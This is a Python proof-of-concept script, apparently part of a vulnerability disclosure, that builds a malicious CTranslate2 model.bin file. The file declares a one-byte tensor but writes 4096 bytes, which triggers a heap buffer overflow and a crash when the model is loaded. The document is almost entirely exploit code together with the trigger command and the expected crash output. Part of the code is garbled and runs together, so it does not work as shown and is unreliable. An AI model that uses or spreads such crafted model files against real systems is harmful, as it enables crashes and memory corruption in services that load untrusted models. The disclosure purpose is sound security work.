#!/usr/bin/env python3 """ CTranslate2 Heap Buffer Overflow PoC Generator VIRIDIS-CT2-001 | CWE-122 Generates a malicious CTranslate2 binary model file that triggers a heap buffer overflow when loaded. Root cause: src/models/model.cc lines 636-656. Shape and num_bytes are independent fields - no validation that num_bytes <= allocated. Usage: python generate_poc.py python -c """import ctranslate2; ctranslate2.Translator('./heapoverflow/')" Expected: malloc(): unaligned tcache chunk detected / Aborted (core dumped) / Exit 134 Tested: ctranslate2 4.7.1, Ubuntu 22.04 x86_64 Author: Viridis Security (viridisnorthllc@gmail.com) """ import struct, os, json def w8(f, v): f.write(struct.pack(' shape [1] w8(f, 1) # type_id = INT8 (1 byte/element) w32(f, 4096) # num_bytes = 4096 (OVERFLOW: alloc=1) f.write(b'A' * 4096) # payload print(f"""[+] PoC: {output_dir}/model.bin ({os.path.getsize(os.path.join(output_dir, 'model.bin'))} bytes)") print(f"[+] Trigger: ctranslate2.Translator('{output_dir}/')") if __name__ == '__main__': generate_poc()